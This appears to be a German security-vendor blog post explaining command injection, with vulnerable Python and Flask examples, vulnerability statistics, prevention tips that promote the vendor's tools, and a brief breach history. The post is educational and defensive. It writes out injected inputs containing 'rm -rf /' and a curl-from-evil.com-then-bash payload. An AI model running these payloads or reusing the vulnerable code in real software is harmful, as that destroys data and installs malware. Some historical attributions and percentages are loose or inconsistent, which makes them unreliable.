Was ist Befehlsinjektion?
Command Injection ist eine Sicherheitslücke, die in Webanwendungen immer noch sehr häufig vorkommt, obwohl sie weniger bekannt ist als ihre Cousins SQL Injection oder Code Injection. Wenn Sie mit anderen Injektionsschwachstellen vertraut sind, werden Sie das gemeinsame Prinzip erkennen: Nicht vertrauenswürdige Benutzereingaben werden nicht ordnungsgemäß überprüft, was zur Ausführung beliebiger Systembefehle führt. Diese Schwachstelle tritt auf, wenn ungeprüfte Eingaben an Funktionen auf Systemebene übergeben werden. Wie verbreitet ist Command Injection also tatsächlich? Wir haben uns angesehen, wie häufig diese Schwachstelle in freier Wildbahn auftritt - *Spoiler*, sie ist überraschend häufig!
Beispiel für Befehlsinjektion
Nehmen wir das folgende Beispiel einer Befehlsinjektion: Angenommen, Sie haben eine Anwendung, in die Sie den Namen einer Datei eingeben können, die auf einem Server gehostet wird. Die Anwendung ruft diese Datei ab und schreibt ihren Inhalt aus. Der Code dafür lautet wie folgt
import os
file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")
Der obige Code erwartet, dass ein Benutzer einen Dateinamen wie file.txt Stattdessen schleust ein böswilliger Benutzer Code ein, um bösartige Befehle auszuführen.
Zum Beispiel
Name der Datei: file.txt; rm -rf /
Diese Eingabe würde zunächst den Inhalt von file.txt und führen dann die bösartige rm -rf Befehl, der alle Dateien in einem Verzeichnis zwangsweise löscht.
Der böswillige Benutzer kann dies tun, weil die Anwendung die Eingaben des Benutzers nicht validiert oder bereinigt hat, was die Anwendung anfällig für Befehlsinjektion macht.
Wenn Sie ein umfassenderes Beispiel wünschen, sehen Sie sich den Bonusinhalt am unten auf dieser Seite.
Befehlsinjektion in Zahlen: Unsere Forschung
- 7 % aller im Jahr 2024 in Open-Source-Projekten gefundenen Sicherheitslücken waren Befehlsinjektionen
- 5,8 % für Closed-Source-Projekte !
- Ein Anstieg der Gesamtzahl der Schwachstellen durch Befehlsinjektion in Open-Source-Projekten von 2.348 (2023 ) auf voraussichtlich 2.600 (2024).
- Der prozentuale Anteil von Command Injection an allen Schwachstellen nimmt ab: ein Rückgang um 14,6 % bei Open-Source- und 26,4 % bei Closed-Source-Projekten von 2023 bis 2024.
Unsere Forschung konzentrierte sich darauf, sowohl Open-Source- als auch Closed-Source-Projekte zu untersuchen, um herauszufinden, in wie vielen davon sich Schwachstellen durch Befehlsinjektion verbergen.
Insgesamt ist die Zahl der Schwachstellen durch Befehlsinjektion sehr hoch: 7 % aller in Open-Source-Projekten gemeldeten Schwachstellen sind Befehlsinjektionen und 5,8 % in Closed-Source-Projekten. Dies entspricht in etwa der Zahl der gefundenen SQL-Injection-Schwachstellen.
Es gibt auch einige gute Nachrichten aus den Daten zu ziehen, wir sehen einen soliden Trend der Verringerung dieser Sicherheitslücken von 2023 bis 2024. Der prozentuale Anteil der Sicherheitslücken an allen Sicherheitslücken ist bei Closed-Source-Projekten um 27 % und bei Open-Source-Projekten um 14 % zurückgegangen. Wahrscheinlich gibt es viele Faktoren, die dazu beitragen. Ein wichtiger Faktor ist wahrscheinlich, dass das FBI und die CISA im Jahr 2024 auf die Befehlsinjektion als reale Bedrohung hinwiesen und die Anbieter aufforderten, sich damit zu befassen. Den Daten zufolge wurde diese Warnung gehört.
Die guten Nachrichten enden leider hier. Die Gesamtzahl der in Open-Source-Projekten gemeldeten Sicherheitslücken steigt weiter an. Die Gesamtzahl der in Open-Source-Projekten gemeldeten Injektionsschwachstellen stieg von 2.348 im Jahr 2023 auf 2.450 im Jahr 2024 (und wird voraussichtlich 2.600 erreichen)
Verhinderung der Befehlsinjektion
Die Verhinderung von Schwachstellen durch Befehlsinjektion erfordert einen vielschichtigen Ansatz:
Server-seitige Eingabevalidierung
Ein häufiger Fehler ist, dass nur eine clientseitige Validierung durchgeführt wird, die von einem Angreifer mit einer direkten Anfrage umgangen werden kann.
import subprocess
# Beispiel für eingeschränkte Eingabe
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # Dies sollte vom Benutzer kommen, wird aber überprüft
if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Ungültige Eingabe!")
Vermeiden Sie Shell-Befehle
Ersetzen Sie Shell-Befehle nach Möglichkeit durch sprachnative Funktionen oder Bibliotheken. Nachfolgend ein Beispiel für die Verwendung des Nur-Lese-Modus, um eine Datei zu öffnen und die darin enthaltenen Kontexte zu lesen.
with open("file.txt", "r") as f:
print(f.read())
Automatisierte Prüfung
Verwenden Sie Tools wie Aikido, um Ihren Quellcode und Ihre Anwendung zu scannen und diese Schwachstellen zu entdecken.
Verwenden Sie eine App-interne Firewall
Eine der besten Abwehrmaßnahmen gegen Injektionsangriffe ist eine In-App-Firewall , die bösartige Befehle abfangen und blockieren kann. Die In-App-Firewall Zen von Aikido ist sowohl als Open-Source- als auch als kommerzielle Lösung verfügbar und kann Injection-Angriffe zur Laufzeit erkennen und blockieren.
Anwendung des Grundsatzes der geringsten Privilegierung
Konfigurieren Sie Anwendungen und Benutzer so, dass sie nur mit den minimal erforderlichen Berechtigungen ausgeführt werden, um den potenziellen Schaden durch Ausnutzung zu verringern.
Der Weg nach vorn
Die Befehlsinjektion und viele andere Schwachstellen sind eine Herausforderung. Technisch gesehen haben wir dieses Problem gelöst, d. h. es besteht keine Notwendigkeit, diese Art von Schwachstelle in Ihren Anwendungen zu haben. Die Tatsache, dass immer noch so viele Schwachstellen dieser Art auftreten, bedeutet, dass wir keinen Quantensprung in der Verbesserung erwarten können.
Command Injection wird auch weiterhin ein Problem bleiben, aber da wir in diesem Jahr einen deutlichen Rückgang verzeichnen konnten, weil große Unternehmen sich auf diese Schwachstelle konzentriert haben, besteht die Hoffnung, dass Command Injection in Zukunft an Bedeutung verlieren wird, wenn wir weiterhin das Bewusstsein dafür schärfen.
Bonus-Inhalt
Eine Geschichte der Befehlsinjektion: Prominente Verstöße
Die Befehlsinjektion ist schon seit langem eine anhaltende Bedrohung. Tatsächlich gab es von 1989 bis 2014 eine erhebliche Sicherheitslücke in der Bash, die eine Befehlsinjektion ermöglichte. In jüngerer Zeit, im Jahr 2024, wurde die Bedeutung der Befehlsinjektion von der CISA und dem FBI hervorgehoben, was zeigt, dass sie immer noch ein großes Problem darstellt.
1. Die Anfänge der Befehlsinjektion
- Erste bekannte Verwendung: Schwachstellen durch Befehlsinjektion traten mit dem Aufkommen von Mehrbenutzersystemen in den 1970er und 1980er Jahren auf und ermöglichten Angreifern die Ausführung beliebiger Befehle über nicht sanitisierte Eingaben.
- 1980er und 1990er Jahre: Die Verbreitung von Web-Technologien führte zu einer verstärkten Ausnutzung der Befehlsinjektion, insbesondere durch unzureichend gesicherte CGI-Skripte.
2. Signifikante Verstöße und Exploits
- 1998: Der erste dokumentierte webbasierte Befehlsinjektionsangriff: Eine Schwachstelle in einem weit verbreiteten Perl-basierten CGI-Skript wurde ausgenutzt und markierte einen der ersten größeren webbasierten Command-Injection-Angriffe.
- 2010: Stuxnet-Wurm (eingebettete Befehlsinjektion): Stuxnet nutzte die Befehlsinjektion, um industrielle Steuersysteme anzugreifen, und demonstrierte damit die Reichweite der Schwachstelle über traditionelle IT-Umgebungen hinaus.
3. 2010s: Ausbeutung in großem Maßstab
- 2014: Shellshock-Schwachstelle: Shellshock (CVE-2014-6271) nutzte die Befehlsverarbeitung von Bash aus und betraf Millionen von Systemen weltweit.
- 2018: Cisco ASA VPN Exploit (CVE-2018-0101): Eine Befehlsinjektionsschwachstelle in der ASA-Software von Cisco ermöglichte die Ausführung von Remotecode und gefährdete die Unternehmenssicherheit.
4. 2020s: Moderne Exploits und Trends
- 2020: Citrix ADC Gateway Sicherheitslücke: Angreifer nutzten Schwachstellen in Citrix-Systemen zur Befehlsinjektion aus, was zu erheblichen Datenverletzungen führte.
- 2023: MOVEit-Sicherheitslücke (SQL- und Befehlsinjektion): Ein Befehlsinjektionsfehler in der MOVEit-Transfersoftware führte zu weit verbreiteten Datenverletzungen in mehreren Organisationen.
Realistische Befehlsinjektionsschwachstelle
Der verletzliche Code
Schauen wir uns ein etwas komplexeres Beispiel für Befehlsinjektion an. Im Folgenden finden Sie Code für eine einfache Python-Webanwendung. Sie ermöglicht es Benutzern, ein ZIP-Archiv mit bestimmten Dateien zu erstellen, indem sie eine POST-Anfrage an die /Archiv Route.
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/archive', methods=['POST'])
def archive_files():
files = request.form.get('files') # User provides file names to archive
archive_name = request.form.get('archive_name') # User provides archive name
command = f"zip {archive_name}.zip {files}" # Command built dynamically
os.system(command) # Execute the system command
return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
app.run(debug=True)
Wie es funktioniert
Der Benutzer liefert:
Dateien(z.B.,datei1.txt datei2.txt), um anzugeben, welche Dateien in das Archiv aufgenommen werden sollen.archiv_nameum den Namen des resultierenden Zip-Archivs anzugeben.
Der Code baut einen Shell-Befehl dynamisch auf:
1. zip archiv_name.zip datei1.txt datei2.txt
2. Die os.system() führt den Befehl aus, wobei die Eingaben des Benutzers das Verhalten des Befehls bestimmen.
Ausbeutung
Ein Angreifer nutzt dies aus, indem er zusätzliche Befehle in die archiv_name oder Dateien Eingaben.
Vom Angreifer bereitgestellter Input:
archiv_name:mein_Archiv; rm -rf /Dateien:datei1.txt
Der daraus resultierende Befehl:
zip mein_Archiv.zip file1.txt; rm -rf /
zip mein_Archiv.zip file1.txt: Erzeugt wie erwartet ein Archiv.; rm -rf /: Löscht alle Dateien auf dem Server, indem es einen separaten destruktiven Befehl ausführt.
Ein anspruchsvolleres Beispiel
Der Angreifer könnte dies ausnutzen, um Malware herunterzuladen oder Daten zu exfiltrieren:
archiv_name: Archiv; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
Resultierender Befehl:
zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
Dieser Befehl:
- Erzeugt ein Archiv (
zip archiv.zip datei1.txt). - Lädt bösartigen Code herunter (
curl -o malware.sh http://evil.com/malware.sh). - Führt die Malware aus (
bash malware.sh).
.png)
.svg)
.png)
.png)
.png)
.jpg)
.jpg)
.jpg)
.jpg)
.png)